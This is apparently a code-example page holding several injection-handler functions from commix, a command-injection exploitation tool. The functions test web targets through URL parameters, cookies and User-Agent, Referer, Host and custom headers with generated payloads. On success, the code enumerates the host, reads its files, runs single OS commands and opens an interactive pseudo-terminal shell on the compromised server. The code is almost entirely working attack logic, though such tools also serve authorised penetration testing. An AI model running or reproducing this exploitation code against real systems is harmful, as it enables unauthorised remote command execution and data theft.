              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating payload for the injection..."
                print(settings.print_info_msg(info_msg))
                print(settings.print_payload(payload)) 

              # Cookie header injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent HTTP header injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer HTTP header injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP header injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = eb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom HTTP header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                found_cookie_injection = False
                # Check if target host is vulnerable.
                response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
      
              # Try target page reload (if it is required).
              if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)
              # Evaluate test results.
              shell = eb_injector.injection_test_results(response, TAG, randvcalc)
              time.sleep(timesec)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))

                if shell == False:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if str(float_percent) == "100.0":
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"

                info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise
              
            except EOFError:
              err_msg = "Exiting, due to EOFError."
              print(settings.print_error_msg(err_msg))
              raise

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = " Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print("")
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print(settings.print_success_msg(success_msg))
            print(settings.SUB_CONTENT_SIGN  + str(checks.url_decode(payload)) + Style.RESET_ALL)
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 
              
            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  # print("")
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print(settings.print_error_msg(err_msg))
                  pass
            else:
              if menu.enumeration_options():
                eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
            
            if not menu.file_access_options() and not menu.options.os_cmd and new_line:
              print("")

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print("")
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  file_access_again = _input(settings.print_question_msg(question_msg))
                else:
                  file_access_again = ""
                if len(file_access_again) == 0:
                   file_access_again = "y"
                if file_access_again in settings.CHOICE_YES:
                  eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  print("")
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + file_access_again  + "' is not a valid answer."
                  print(settings.print_error_msg(err_msg))
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print("")
                eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                print("")

            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print("")
              eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                gotshell = _input(settings.print_question_msg(question_msg))
              else:
                gotshell = ""
              if len(gotshell) == 0:
                 gotshell = "y"
              if gotshell in settings.CHOICE_YES:
                if not menu.options.batch:
                  print("")
                print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      # The main command injection exploitation.
                      time.sleep(timesec)
                      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                      # Try target page reload (if it is required).
                      if settings.URL_RELOAD:
                        response = requests.url_reload(url, timesec)
                      if menu.options.ignore_session or\
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        shell = eb_injector.injection_results(response, TAG, cmd)
                        shell = "".join(str(p) for p in shell).replace(" ", "", 1)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)

                      if shell != "":
                        shell = "".join(str(p) for p in shell)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                        print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
                      else:
                        if settings.VERBOSITY_LEVEL >= 1:
                          print("")
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print(settings.print_critical_msg(err_msg) + "\n")
                    
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise
                    
                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print(settings.print_error_msg(err_msg))
                    raise

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print(settings.print_error_msg(err_msg))
                pass
              
              
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print("")
    return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
示例#15
0
def cb_injection_handler(url, timesec, filename, http_request_method):
  shell = False
  counter = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  export_injection_info = False
  injection_type = "results-based OS command injection"
  technique = "classic command injection technique"

  if not settings.LOAD_SESSION: 
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
      
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          if whitespace == " ":
            whitespace = urllib.quote(whitespace) 
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.CLASSIC_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print settings.print_critical_msg(err_msg)
              raise SystemExit()

          else:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
            
            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2
            
            # Define alter shell
            alter_shell = menu.options.alter_shell
            
            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = cb_payloads.decision(separator, TAG, randv1, randv2)
              
              # Define prefixes & suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)
              
              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                print settings.print_payload(payload)
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating a payload for injection..."
                print settings.print_info_msg(info_msg)
                print settings.print_payload(payload) 
                
              # Cookie header injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
                
              # User-Agent HTTP header injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer HTTP header injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = cb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP header injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = cb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)

              # Try target page reload (if it is required).
              if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)

              # Evaluate test results.
              time.sleep(timesec)
              shell = cb_injector.injection_test_results(response, TAG, randvcalc)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
              
                if shell == False:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if float(float_percent) >= 99.9:
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"
                info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
            
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise

            except EOFError:
              err_msg = "Exiting, due to EOFError."
              print settings.print_error_msg(err_msg)
              raise 

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = " Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method + "" 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False  
            
            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  #print ""
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
          
            if not menu.file_access_options() and not menu.options.os_cmd and new_line:
              print ""
            
            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  file_access_again = sys.stdin.readline().replace("\n","").lower()
                else:
                  file_access_again = ""  
                if len(file_access_again) == 0:
                   file_access_again = "y"
                if file_access_again in settings.CHOICE_YES:
                  cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + file_access_again  + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print ""
                cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                print ""
              
            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break 
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                gotshell = sys.stdin.readline().replace("\n","").lower()
              else:
                gotshell = ""  
              if len(gotshell) == 0:
                 gotshell = "y"
              if gotshell in settings.CHOICE_YES:
                if not menu.options.batch:
                  print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    if not readline_error:
                      # Tab compliter
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      # Command execution results.
                      time.sleep(timesec)
                      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                      # Try target page reload (if it is required).
                      if settings.URL_RELOAD:
                        response = requests.url_reload(url, timesec)
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        try:
                          shell = cb_injector.injection_results(response, TAG, cmd)
                          shell = "".join(str(p) for p in shell)
                        except:
                          print ""
                          continue  
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      if shell:
                        html_parser = HTMLParser.HTMLParser()
                        shell = html_parser.unescape(shell)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                      if shell != "":
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                      else:
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"

                  except KeyboardInterrupt: 
                    raise
                    
                  except SystemExit: 
                    raise

                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print settings.print_error_msg(err_msg)
                    raise 

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."
                print settings.print_error_msg(err_msg)
                pass
                
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print ""
    return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
示例#16
0
def fb_injection_handler(url, timesec, filename, http_request_method,
                         url_time_response):
    shell = False
    counter = 1
    vp_flag = True
    exit_loops = False
    no_result = True
    is_encoded = False
    stop_injection = False
    call_tmp_based = False
    next_attack_vector = False
    export_injection_info = False
    injection_type = "semi-blind command injection"
    technique = "file-based command injection technique"

    tmp_path = check_tmp_path(url, timesec, filename, http_request_method,
                              url_time_response)

    if not settings.LOAD_SESSION or settings.RETEST == True:
        TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
        info_msg = "Trying to create a file in '" + settings.WEB_ROOT
        info_msg += "' for command execution results. "
        print(settings.print_info_msg(info_msg))

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    # Check if defined alter shell
    alter_shell = menu.options.alter_shell
    for whitespace in settings.WHITESPACE:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:

                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    if settings.LOAD_SESSION:
                        try:
                            settings.FILE_BASED_STATE = True
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                            OUTPUT_TEXTFILE = TAG + ".txt"
                            session_handler.notification(
                                url, technique, injection_type)
                            if technique == "tempfile-based injection technique":
                                #settings.LOAD_SESSION = True
                                tfb_handler.exploitation(
                                    url, timesec, filename, tmp_path,
                                    http_request_method, url_time_response)
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print(settings.print_critical_msg(err_msg))
                            raise SystemExit()

                    if settings.RETEST == True:
                        settings.RETEST = False
                        from src.core.injections.results_based.techniques.classic import cb_handler
                        cb_handler.exploitation(url, timesec, filename,
                                                http_request_method)

                    if not settings.LOAD_SESSION:
                        i = i + 1
                        # The output file for file-based injection technique.
                        OUTPUT_TEXTFILE = TAG + ".txt"
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        try:
                            # File-based decision payload (check if host is vulnerable).
                            if alter_shell:
                                payload = fb_payloads.decision_alter_shell(
                                    separator, TAG, OUTPUT_TEXTFILE)
                            else:
                                payload = fb_payloads.decision(
                                    separator, TAG, OUTPUT_TEXTFILE)

                            # Check if defined "--prefix" option.
                            # Fix prefixes / suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Whitespace fixation
                            payload = payload.replace(" ", whitespace)

                            # Perform payload modification
                            payload = checks.perform_payload_modification(
                                payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL == 1:
                                payload_msg = payload.replace("\n", "\\n")
                                print(settings.print_payload(payload_msg))
                            # Check if defined "--verbose" option.
                            elif settings.VERBOSITY_LEVEL > 1:
                                info_msg = "Generating payload for the injection..."
                                print(settings.print_info_msg(info_msg))
                                print(settings.print_payload(payload))

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie header injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = fb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent HTTP Header Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent HTTP header injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = fb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer HTTP Header Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to Referer HTTP header injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = fb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Host HTTP Header Injection
                            elif settings.HOST_INJECTION == True:
                                # Check if target host is vulnerable to Host HTTP header injection.
                                vuln_parameter = parameters.specify_host_parameter(
                                    menu.options.host)
                                response = fb_injector.host_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom HTTP header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = fb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = fb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Find the directory.
                            output = fb_injector.injection_output(
                                url, OUTPUT_TEXTFILE, timesec)
                            time.sleep(timesec)

                            try:

                                # Check if defined extra headers.
                                request = _urllib.request.Request(output)
                                headers.do_check(request)

                                # Evaluate test results.
                                output = _urllib.request.urlopen(request)
                                html_data = output.read()
                                shell = re.findall(r"" + TAG + "", html_data)

                                if len(shell) != 0 and shell[
                                        0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
                                    percent = settings.SUCCESS_MSG
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "." + "" + percent + ""
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if len(shell) == 0:
                                    raise _urllib.error.HTTPError(
                                        url, 404, 'Error', {}, None)

                            except _urllib.error.HTTPError as e:
                                if str(e.getcode()
                                       ) == settings.NOT_FOUND_ERROR:
                                    percent = ((i * 100) / total)
                                    float_percent = "{0:.1f}".format(
                                        round(((i * 100) / (total * 1.0)), 2))

                                    if call_tmp_based == True:
